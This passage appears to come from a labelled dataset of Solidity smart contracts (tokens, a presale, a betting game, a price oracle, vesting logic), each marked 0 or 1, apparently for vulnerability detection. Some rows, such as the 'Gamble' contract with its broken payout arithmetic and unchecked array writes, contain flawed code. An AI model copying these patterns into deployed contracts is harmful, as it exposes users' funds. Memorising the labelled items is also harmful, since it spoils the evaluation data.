source_codes
stringlengths 3
205k
| labels
int64 0
1
|
---|---|
pragma solidity ^ 0.4 .9;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Nasdaq {
using SafeMath
for uint256;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) balances;
uint256 public totalSupply;
uint256 public decimals;
address public owner;
bytes32 public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
function Nasdaq() {
totalSupply = 24000000;
symbol = 'NSDQ';
owner = 0xe913aef983e84ed90f340ff533ce39668f45a0f6;
balances[owner] = totalSupply;
decimals = 0;
}
function balanceOf(address _owner) constant returns(uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) returns(bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns(bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function() {
revert();
}
} | 1 |
contract Gamble {
address owner;
Bet[] bets;
address[] winners;
struct Bet {
address sender;
int8 range;
}
function Gamble() {
owner = msg.sender;
}
function place (int8 range) public payable {
if (msg.value >= 50 finney && range <= 100) {
bets[bets.length++] = Bet({sender: msg.sender, range: range});
}
}
function solve (int8 range) public {
if (msg.sender == owner && range <= 100) {
for (uint i = 0; i < bets.length; ++i) {
if (bets[i].range == range) {
winners[winners.length++] = bets[i].sender;
}
}
for (uint j = 0; j < winners.length; ++j) {
winners[j].send(winners.length / this.balance);
}
selfdestruct(owner);
}
}
} | 1 |
pragma solidity 0.4.23;
contract AbstractToken {
function balanceOf(address owner) public view returns (uint256 balance);
function transfer(address to, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function allowance(address owner, address spender) public view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Owned {
address public owner = msg.sender;
address public potentialOwner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyPotentialOwner {
require(msg.sender == potentialOwner);
_;
}
event NewOwner(address old, address current);
event NewPotentialOwner(address old, address potential);
function setOwner(address _new)
public
onlyOwner
{
emit NewPotentialOwner(owner, _new);
potentialOwner = _new;
}
function confirmOwnership()
public
onlyPotentialOwner
{
emit NewOwner(owner, potentialOwner);
owner = potentialOwner;
potentialOwner = address(0);
}
}
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function pow(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a ** b;
assert(c >= a);
return c;
}
}
contract StandardToken is AbstractToken, Owned, SafeMath {
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 public totalSupply;
function transfer(address _to, uint256 _value) public returns (bool success) {
return _transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(allowed[_from][msg.sender] >= _value);
allowed[_from][msg.sender] -= _value;
return _transfer(_from, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function _transfer(address _from, address _to, uint256 _value) private returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _value);
balances[_from] -= _value;
balances[_to] = add(balances[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
}
contract Token is StandardToken {
uint256 public creationTime;
function Token() public {
creationTime = now;
}
function transferERC20Token(AbstractToken _token, address _to, uint256 _value)
public
onlyOwner
returns (bool success)
{
require(_token.balanceOf(address(this)) >= _value);
uint256 receiverBalance = _token.balanceOf(_to);
require(_token.transfer(_to, _value));
uint256 receiverNewBalance = _token.balanceOf(_to);
assert(receiverNewBalance == add(receiverBalance, _value));
return true;
}
function increaseApproval(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = add(allowed[msg.sender][_spender], _value);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _value) public returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_value > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = sub(oldValue, _value);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract GenesisCryptoTechnology is Token {
string constant public name = 'GenesisCryptoTechnology';
string constant public symbol = 'GCT';
uint8 constant public decimals = 8;
uint256 public exchangeRate = 5880;
address public investorsAllocation = address(0x55f6074046b1fA3210E350CF520033F629f686d1);
uint256 public investorsTotal = 60000000e8;
address public overdraftAllocation = address(0x93F233fdF9d0Ea73c87AA0EDB3e4FB417Fb50145);
uint256 public overdraftTotal = 20000000e8;
uint256 public overdraftPeriodAmount = 41666666e8;
uint256 public overdraftUnvested = 4e8;
uint256 public overdraftCliff = 5 * 30 days;
uint256 public overdraftPeriodLength = 810 days;
uint8 public overdraftPeriodsNumber = 6;
address public teamAllocation = address(0x1258c8C124dCAdf8122117EbF1968FFC54bFBFa6);
uint256 public teamTotal = 15000000e8;
uint256 public teamPeriodAmount = 7031250e8;
uint256 public teamUnvested = 0;
uint256 public teamCliff = 0;
uint256 public teamPeriodLength = 3 * 810 days;
uint8 public teamPeriodsNumber = 16;
address public communityAllocation = address(0xa4d82eb18d2Bca1A3A2443324F0Beea0A0DC23C8);
uint256 public communityTotal = 4000000e8;
uint256 public communityPeriodAmount = 8333333e8;
uint256 public communityUnvested = 10000002e8;
uint256 public communityCliff = 0;
uint256 public communityPeriodLength = 3 * 810 days;
uint8 public communityPeriodsNumber = 6;
address public advisersAllocation = address(0xa020d6Ca8738B18727dEFbe49fC22e3eF7110163);
uint256 public advisersTotal = 1000000e8;
uint256 public advisersPeriodAmount = 2291666e8;
uint256 public advisersUnvested = 25000008e8;
uint256 public advisersCliff = 0;
uint256 public advisersPeriodLength = 1 days;
uint8 public advisersPeriodsNumber = 12;
function GenesisCryptoTechnology() public {
totalSupply = 100000000e8;
balances[investorsAllocation] = investorsTotal;
balances[overdraftAllocation] = overdraftTotal;
balances[teamAllocation] = teamTotal;
balances[communityAllocation] = communityTotal;
balances[advisersAllocation] = advisersTotal;
allowed[investorsAllocation][msg.sender] = investorsTotal;
allowed[overdraftAllocation][msg.sender] = overdraftUnvested;
allowed[communityAllocation][msg.sender] = communityUnvested;
allowed[advisersAllocation][msg.sender] = advisersUnvested;
}
function distributeInvestorsTokens(address _to, uint256 _amountWithDecimals)
public
onlyOwner
{
require(transferFrom(investorsAllocation, _to, _amountWithDecimals));
}
function withdrawOverdraftTokens(address _to, uint256 _amountWithDecimals)
public
onlyOwner
{
allowed[overdraftAllocation][msg.sender] = allowance(overdraftAllocation, msg.sender);
require(transferFrom(overdraftAllocation, _to, _amountWithDecimals));
}
function withdrawTeamTokens(address _to, uint256 _amountWithDecimals)
public
onlyOwner
{
allowed[teamAllocation][msg.sender] = allowance(teamAllocation, msg.sender);
require(transferFrom(teamAllocation, _to, _amountWithDecimals));
}
function withdrawCommunityTokens(address _to, uint256 _amountWithDecimals)
public
onlyOwner
{
allowed[communityAllocation][msg.sender] = allowance(communityAllocation, msg.sender);
require(transferFrom(communityAllocation, _to, _amountWithDecimals));
}
function withdrawAdvisersTokens(address _to, uint256 _amountWithDecimals)
public
onlyOwner
{
allowed[advisersAllocation][msg.sender] = allowance(advisersAllocation, msg.sender);
require(transferFrom(advisersAllocation, _to, _amountWithDecimals));
}
function allowance(address _owner, address _spender)
public
view
returns (uint256 remaining)
{
if (_spender != owner) {
return allowed[_owner][_spender];
}
uint256 unlockedTokens;
uint256 spentTokens;
if (_owner == overdraftAllocation) {
unlockedTokens = _calculateUnlockedTokens(
overdraftCliff,
overdraftPeriodLength,
overdraftPeriodAmount,
overdraftPeriodsNumber,
overdraftUnvested
);
spentTokens = sub(overdraftTotal, balanceOf(overdraftAllocation));
} else if (_owner == teamAllocation) {
unlockedTokens = _calculateUnlockedTokens(
teamCliff,
teamPeriodLength,
teamPeriodAmount,
teamPeriodsNumber,
teamUnvested
);
spentTokens = sub(teamTotal, balanceOf(teamAllocation));
} else if (_owner == communityAllocation) {
unlockedTokens = _calculateUnlockedTokens(
communityCliff,
communityPeriodLength,
communityPeriodAmount,
communityPeriodsNumber,
communityUnvested
);
spentTokens = sub(communityTotal, balanceOf(communityAllocation));
} else if (_owner == advisersAllocation) {
unlockedTokens = _calculateUnlockedTokens(
advisersCliff,
advisersPeriodLength,
advisersPeriodAmount,
advisersPeriodsNumber,
advisersUnvested
);
spentTokens = sub(advisersTotal, balanceOf(advisersAllocation));
} else {
return allowed[_owner][_spender];
}
return sub(unlockedTokens, spentTokens);
}
function confirmOwnership()
public
onlyPotentialOwner
{
allowed[investorsAllocation][owner] = 0;
allowed[investorsAllocation][msg.sender] = balanceOf(investorsAllocation);
allowed[overdraftAllocation][owner] = 0;
allowed[teamAllocation][owner] = 0;
allowed[communityAllocation][owner] = 0;
allowed[advisersAllocation][owner] = 0;
super.confirmOwnership();
}
function _calculateUnlockedTokens(
uint256 _cliff,
uint256 _periodLength,
uint256 _periodAmount,
uint8 _periodsNumber,
uint256 _unvestedAmount
)
private
view
returns (uint256)
{
if (now < add(creationTime, _cliff)) {
return _unvestedAmount;
}
uint256 periods = div(sub(now, add(creationTime, _cliff)), _periodLength);
periods = periods > _periodsNumber ? _periodsNumber : periods;
return add(_unvestedAmount, mul(periods, _periodAmount));
}
} | 1 |
pragma solidity ^0.4.16;
interface TrimpoToken {
function presaleAddr() constant returns (address);
function transferPresale(address _to, uint _value) public;
}
contract Admins {
address public admin1;
address public admin2;
address public admin3;
function Admins(address a1, address a2, address a3) public {
admin1 = a1;
admin2 = a2;
admin3 = a3;
}
modifier onlyAdmins {
require(msg.sender == admin1 || msg.sender == admin2 || msg.sender == admin3);
_;
}
function setAdmin(address _adminAddress) onlyAdmins public {
require(_adminAddress != admin1);
require(_adminAddress != admin2);
require(_adminAddress != admin3);
if (admin1 == msg.sender) {
admin1 = _adminAddress;
}
else
if (admin2 == msg.sender) {
admin2 = _adminAddress;
}
else
if (admin3 == msg.sender) {
admin3 = _adminAddress;
}
}
}
contract Presale is Admins {
uint public duration;
uint public hardCap;
uint public raised;
uint public bonus;
address public benefit;
uint public start;
TrimpoToken token;
address public tokenAddress;
uint public tokensPerEther;
mapping (address => uint) public balanceOf;
modifier goodDate {
require(start > 0);
require(start <= now);
require((start+duration) > now);
_;
}
modifier belowHardCap {
require(raised < hardCap);
_;
}
event Investing(address investor, uint investedFunds, uint tokensWithoutBonus, uint tokens);
event Raise(address to, uint funds);
function Presale(
address _tokenAddress,
address a1,
address a2,
address a3
) Admins(a1, a2, a3) public {
hardCap = 1000 ether;
bonus = 50;
duration = 61 days;
tokensPerEther = 400;
tokenAddress = _tokenAddress;
token = TrimpoToken(_tokenAddress);
start = 1526342400;
}
function() payable public goodDate belowHardCap {
uint tokenAmountWithoutBonus = msg.value * tokensPerEther;
uint tokenAmount = tokenAmountWithoutBonus + (tokenAmountWithoutBonus * bonus/100);
token.transferPresale(msg.sender, tokenAmount);
raised+=msg.value;
balanceOf[msg.sender]+= msg.value;
Investing(msg.sender, msg.value, tokenAmountWithoutBonus, tokenAmount);
}
function setBenefit(address _benefit) public onlyAdmins {
benefit = _benefit;
}
function getFunds(uint amount) public onlyAdmins {
require(benefit != 0x0);
require(amount <= this.balance);
Raise(benefit, amount);
benefit.send(amount);
}
} | 0 |
pragma solidity ^0.4.24;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
interface DSValue {
function peek() external returns (bytes32,bool);
function read() external returns (bytes32);
}
contract OSM is DSAuth, DSStop {
DSValue public src;
uint16 constant ONE_HOUR = uint16(3600);
uint16 public hop = ONE_HOUR;
uint64 public zzz;
struct Feed {
uint128 val;
bool has;
}
Feed cur;
Feed nxt;
event LogValue(bytes32 val);
constructor (DSValue src_) public {
src = src_;
(bytes32 wut, bool ok) = src_.peek();
if (ok) {
cur = nxt = Feed(uint128(wut), ok);
zzz = prev(era());
}
}
function era() internal view returns (uint) {
return block.timestamp;
}
function prev(uint ts) internal view returns (uint64) {
return uint64(ts - (ts % hop));
}
function step(uint16 ts) external auth {
require(ts > 0);
hop = ts;
}
function void() external auth {
cur = nxt = Feed(0, false);
stopped = true;
}
function pass() public view returns (bool ok) {
return era() >= zzz + hop;
}
function poke() external stoppable {
require(pass());
(bytes32 wut, bool ok) = src.peek();
cur = nxt;
nxt = Feed(uint128(wut), ok);
zzz = prev(era());
emit LogValue(bytes32(cur.val));
}
function peek() external view returns (bytes32,bool) {
return (bytes32(cur.val), cur.has);
}
function peep() external view returns (bytes32,bool) {
return (bytes32(nxt.val), nxt.has);
}
function read() external view returns (bytes32) {
require(cur.has);
return (bytes32(cur.val));
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29721600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x148D4C931254bB761e7Eb54ECa295d156Fb8B5e7;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract CryptoEngineerInterface {
uint256 public prizePool = 0;
function subVirus(address , uint256 ) public {}
function claimPrizePool(address , uint256 ) public {}
function isContractMiniGame() public pure returns( bool ) {}
}
contract CryptoMiningWarInterface {
uint256 public deadline;
function subCrystal( address , uint256 ) public {}
}
contract CrystalDeposit {
using SafeMath for uint256;
bool init = false;
address public administrator;
uint256 public HALF_TIME = 48 hours;
uint256 public PRIZE_MAX = 0.25 ether;
uint256 public round = 0;
CryptoEngineerInterface public Engineer;
CryptoMiningWarInterface public MiningWar;
uint256 public miningWarDeadline;
uint256 constant private CRTSTAL_MINING_PERIOD = 86400;
mapping(uint256 => Game) public games;
mapping(address => Player) public players;
struct Game {
uint256 round;
uint256 crystals;
uint256 prizePool;
uint256 endTime;
bool ended;
}
struct Player {
uint256 currentRound;
uint256 lastRound;
uint256 reward;
uint256 share;
}
event EndRound(uint256 round, uint256 crystals, uint256 prizePool, uint256 endTime);
event Deposit(address player, uint256 questId, uint256 questLv, uint256 deposit, uint256 bonus, uint256 percent);
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
constructor() public {
administrator = msg.sender;
setMiningWarInterface(0xf84c61bb982041c030b8580d1634f00fffb89059);
setEngineerInterface(0x69fd0e5d0a93bf8bac02c154d343a8e3709adabf);
}
function () public payable
{
}
function isContractMiniGame() public pure returns( bool _isContractMiniGame )
{
_isContractMiniGame = true;
}
function upgrade(address addr) public isAdministrator
{
selfdestruct(addr);
}
function setupMiniGame( uint256 , uint256 _miningWarDeadline ) public
{
miningWarDeadline = _miningWarDeadline;
}
function setMiningWarInterface(address _addr) public isAdministrator
{
MiningWar = CryptoMiningWarInterface(_addr);
}
function setEngineerInterface(address _addr) public isAdministrator
{
CryptoEngineerInterface engineerInterface = CryptoEngineerInterface(_addr);
require(engineerInterface.isContractMiniGame() == true);
Engineer = engineerInterface;
}
function startGame() public
{
require(msg.sender == administrator);
require(init == false);
init = true;
miningWarDeadline = getMiningWarDealine();
games[round].ended = true;
startRound();
}
function startRound() private
{
require(games[round].ended == true);
uint256 crystalsLastRound = games[round].crystals;
uint256 prizePoolLastRound= games[round].prizePool;
round = round + 1;
uint256 endTime = now + HALF_TIME;
uint256 engineerPrizePool = getEngineerPrizePool();
uint256 prizePool = SafeMath.div(SafeMath.mul(engineerPrizePool, 5),100);
if (prizePool >= PRIZE_MAX) prizePool = PRIZE_MAX;
Engineer.claimPrizePool(address(this), prizePool);
if (crystalsLastRound <= 0) prizePool = SafeMath.add(prizePool, prizePoolLastRound);
games[round] = Game(round, 0, prizePool, endTime, false);
}
function endRound() private
{
require(games[round].ended == false);
require(games[round].endTime <= now);
Game storage g = games[round];
g.ended = true;
startRound();
emit EndRound(g.round, g.crystals, g.prizePool, g.endTime);
}
function share(uint256 _value) public disableContract
{
require(miningWarDeadline > now);
require(games[round].ended == false);
require(_value >= 10000);
MiningWar.subCrystal(msg.sender, _value);
if (games[round].endTime <= now) endRound();
updateReward(msg.sender);
Game storage g = games[round];
uint256 _share = SafeMath.mul(_value, CRTSTAL_MINING_PERIOD);
g.crystals = SafeMath.add(g.crystals, _share);
Player storage p = players[msg.sender];
if (p.currentRound == round) {
p.share = SafeMath.add(p.share, _share);
} else {
p.share = _share;
p.currentRound = round;
}
emit Deposit(msg.sender, 1, 1, _value, 0, 0);
}
function withdrawReward() public disableContract
{
if (games[round].endTime <= now) endRound();
updateReward(msg.sender);
Player storage p = players[msg.sender];
uint256 balance = p.reward;
if (address(this).balance >= balance) {
msg.sender.transfer(balance);
p.reward = 0;
}
}
function updateReward(address _addr) private
{
Player storage p = players[_addr];
if (
games[p.currentRound].ended == true &&
p.lastRound < p.currentRound
) {
p.reward = SafeMath.add(p.reward, calculateReward(msg.sender, p.currentRound));
p.lastRound = p.currentRound;
}
}
function getData(address _addr)
public
view
returns(
uint256 _prizePool,
uint256 _crystals,
uint256 _endTime,
uint256 _reward,
uint256 _share
) {
(_prizePool, _crystals, _endTime) = getCurrentGame();
(_reward, _share) = getPlayerData(_addr);
}
function calculateReward(address _addr, uint256 _round) public view returns(uint256)
{
Player memory p = players[_addr];
Game memory g = games[_round];
if (g.endTime > now) return 0;
if (g.crystals == 0) return 0;
return SafeMath.div(SafeMath.mul(g.prizePool, p.share), g.crystals);
}
function getCurrentGame() private view returns(uint256 _prizePool, uint256 _crystals, uint256 _endTime)
{
Game memory g = games[round];
_prizePool = g.prizePool;
_crystals = g.crystals;
_endTime = g.endTime;
}
function getPlayerData(address _addr) private view returns(uint256 _reward, uint256 _share)
{
Player memory p = players[_addr];
_reward = p.reward;
if (p.currentRound == round) _share = players[_addr].share;
if (p.currentRound != p.lastRound) _reward += calculateReward(_addr, p.currentRound);
}
function getEngineerPrizePool() private view returns(uint256)
{
return Engineer.prizePool();
}
function getMiningWarDealine () private view returns(uint256)
{
return MiningWar.deadline();
}
} | 0 |
pragma solidity ^0.4.19;
contract DigixConstants {
uint256 constant SECONDS_IN_A_DAY = 24 * 60 * 60;
uint256 constant ASSET_EVENT_CREATED_VENDOR_ORDER = 1;
uint256 constant ASSET_EVENT_CREATED_TRANSFER_ORDER = 2;
uint256 constant ASSET_EVENT_CREATED_REPLACEMENT_ORDER = 3;
uint256 constant ASSET_EVENT_FULFILLED_VENDOR_ORDER = 4;
uint256 constant ASSET_EVENT_FULFILLED_TRANSFER_ORDER = 5;
uint256 constant ASSET_EVENT_FULFILLED_REPLACEMENT_ORDER = 6;
uint256 constant ASSET_EVENT_MINTED = 7;
uint256 constant ASSET_EVENT_MINTED_REPLACEMENT = 8;
uint256 constant ASSET_EVENT_RECASTED = 9;
uint256 constant ASSET_EVENT_REDEEMED = 10;
uint256 constant ASSET_EVENT_FAILED_AUDIT = 11;
uint256 constant ASSET_EVENT_ADMIN_FAILED = 12;
uint256 constant ASSET_EVENT_REMINTED = 13;
uint256 constant ROLE_ZERO_ANYONE = 0;
uint256 constant ROLE_ROOT = 1;
uint256 constant ROLE_VENDOR = 2;
uint256 constant ROLE_XFERAUTH = 3;
uint256 constant ROLE_POPADMIN = 4;
uint256 constant ROLE_CUSTODIAN = 5;
uint256 constant ROLE_AUDITOR = 6;
uint256 constant ROLE_MARKETPLACE_ADMIN = 7;
uint256 constant ROLE_KYC_ADMIN = 8;
uint256 constant ROLE_FEES_ADMIN = 9;
uint256 constant ROLE_DOCS_UPLOADER = 10;
uint256 constant ROLE_KYC_RECASTER = 11;
uint256 constant ROLE_FEES_DISTRIBUTION_ADMIN = 12;
uint256 constant STATE_ZERO_UNDEFINED = 0;
uint256 constant STATE_CREATED = 1;
uint256 constant STATE_VENDOR_ORDER = 2;
uint256 constant STATE_TRANSFER = 3;
uint256 constant STATE_CUSTODIAN_DELIVERY = 4;
uint256 constant STATE_MINTED = 5;
uint256 constant STATE_AUDIT_FAILURE = 6;
uint256 constant STATE_REPLACEMENT_ORDER = 7;
uint256 constant STATE_REPLACEMENT_DELIVERY = 8;
uint256 constant STATE_RECASTED = 9;
uint256 constant STATE_REDEEMED = 10;
uint256 constant STATE_ADMIN_FAILURE = 11;
bytes32 constant CONTRACT_INTERACTIVE_ASSETS_EXPLORER = "i:asset:explorer";
bytes32 constant CONTRACT_INTERACTIVE_DIGIX_DIRECTORY = "i:directory";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE = "i:mp";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_ADMIN = "i:mpadmin";
bytes32 constant CONTRACT_INTERACTIVE_POPADMIN = "i:popadmin";
bytes32 constant CONTRACT_INTERACTIVE_PRODUCTS_LIST = "i:products";
bytes32 constant CONTRACT_INTERACTIVE_TOKEN = "i:token";
bytes32 constant CONTRACT_INTERACTIVE_BULK_WRAPPER = "i:bulk-wrapper";
bytes32 constant CONTRACT_INTERACTIVE_TOKEN_CONFIG = "i:token:config";
bytes32 constant CONTRACT_INTERACTIVE_TOKEN_INFORMATION = "i:token:information";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_INFORMATION = "i:mp:information";
bytes32 constant CONTRACT_INTERACTIVE_IDENTITY = "i:identity";
bytes32 constant CONTRACT_CONTROLLER_ASSETS = "c:asset";
bytes32 constant CONTRACT_CONTROLLER_ASSETS_RECAST = "c:asset:recast";
bytes32 constant CONTRACT_CONTROLLER_ASSETS_EXPLORER = "c:explorer";
bytes32 constant CONTRACT_CONTROLLER_DIGIX_DIRECTORY = "c:directory";
bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE = "c:mp";
bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE_ADMIN = "c:mpadmin";
bytes32 constant CONTRACT_CONTROLLER_PRODUCTS_LIST = "c:products";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_APPROVAL = "c:token:approval";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_CONFIG = "c:token:config";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_INFO = "c:token:info";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_TRANSFER = "c:token:transfer";
bytes32 constant CONTRACT_CONTROLLER_JOB_ID = "c:jobid";
bytes32 constant CONTRACT_CONTROLLER_IDENTITY = "c:identity";
bytes32 constant CONTRACT_STORAGE_ASSETS = "s:asset";
bytes32 constant CONTRACT_STORAGE_ASSET_EVENTS = "s:asset:events";
bytes32 constant CONTRACT_STORAGE_DIGIX_DIRECTORY = "s:directory";
bytes32 constant CONTRACT_STORAGE_MARKETPLACE = "s:mp";
bytes32 constant CONTRACT_STORAGE_PRODUCTS_LIST = "s:products";
bytes32 constant CONTRACT_STORAGE_GOLD_TOKEN = "s:goldtoken";
bytes32 constant CONTRACT_STORAGE_JOB_ID = "s:jobid";
bytes32 constant CONTRACT_STORAGE_IDENTITY = "s:identity";
bytes32 constant CONTRACT_SERVICE_TOKEN_DEMURRAGE = "sv:tdemurrage";
bytes32 constant CONTRACT_SERVICE_MARKETPLACE = "sv:mp";
bytes32 constant CONTRACT_SERVICE_DIRECTORY = "sv:directory";
bytes32 constant CONTRACT_DEMURRAGE_FEES_DISTRIBUTOR = "fees:distributor:demurrage";
bytes32 constant CONTRACT_RECAST_FEES_DISTRIBUTOR = "fees:distributor:recast";
bytes32 constant CONTRACT_TRANSFER_FEES_DISTRIBUTOR = "fees:distributor:transfer";
}
contract ContractResolver {
address public owner;
bool public locked;
function init_register_contract(bytes32 _key, address _contract_address) public returns (bool _success);
function unregister_contract(bytes32 _key) public returns (bool _success);
function get_contract(bytes32 _key) public constant returns (address _contract);
}
contract ResolverClient {
address public resolver;
bytes32 public key;
address public CONTRACT_ADDRESS;
modifier if_sender_is(bytes32 _contract) {
require(msg.sender == ContractResolver(resolver).get_contract(_contract));
_;
}
modifier unless_resolver_is_locked() {
require(is_locked() == false);
_;
}
function init(bytes32 _key, address _resolver)
internal
returns (bool _success)
{
bool _is_locked = ContractResolver(_resolver).locked();
if (_is_locked == false) {
CONTRACT_ADDRESS = address(this);
resolver = _resolver;
key = _key;
require(ContractResolver(resolver).init_register_contract(key, CONTRACT_ADDRESS));
_success = true;
} else {
_success = false;
}
}
function destroy()
public
returns (bool _success)
{
bool _is_locked = ContractResolver(resolver).locked();
require(!_is_locked);
address _owner_of_contract_resolver = ContractResolver(resolver).owner();
require(msg.sender == _owner_of_contract_resolver);
_success = ContractResolver(resolver).unregister_contract(key);
require(_success);
selfdestruct(_owner_of_contract_resolver);
}
function is_locked()
private
constant
returns (bool _locked)
{
_locked = ContractResolver(resolver).locked();
}
function get_contract(bytes32 _key)
public
constant
returns (address _contract)
{
_contract = ContractResolver(resolver).get_contract(_key);
}
}
contract Constants {
address constant NULL_ADDRESS = address(0x0);
uint256 constant ZERO = uint256(0);
bytes32 constant EMPTY = bytes32(0x0);
}
contract ACConditions is Constants {
